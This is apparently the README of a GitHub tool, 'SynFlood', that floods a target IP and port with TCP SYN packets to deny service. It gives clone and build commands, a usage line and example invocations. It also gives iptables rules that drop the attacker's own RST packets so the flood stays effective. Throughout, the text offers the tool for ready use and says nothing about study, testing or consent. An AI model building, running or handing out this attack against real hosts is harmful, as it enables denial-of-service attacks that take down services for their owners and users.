SynFlood

Start a SYN flood attack to an ip address.

Requirements

• libnet1. libnet1-dev under Debian.

• Root access for sending a packet.

• Its recommended to block all RST packets from the source host on the source host.

   iptables -I OUTPUT -p tcp --dport 80 --tcp-flags RST RST -j DROP
   iptables -I OUTPUT -p tcp --dport 80 --tcp-flags RST ACK -j DROP

Build

1. Clone:

   git clone https://github.com/TheFox/synflood.git

2. In synflood directory, make:

   mkdir -p build && cd build && cmake -DCMAKE_BUILD_TYPE=Release .. && make && make test

3. Done.

Usage

./synflood SRC DST DPT [CONNECTIONS]

• SRC: Source IP address.
• DST: Destination IP address.
• DPT: Destination port.
• CONNECTIONS: Number of connections.

Examples:

./synflood 192.168.241.31 192.168.1.3 80
./synflood 192.168.241.31 192.168.1.3 80 1000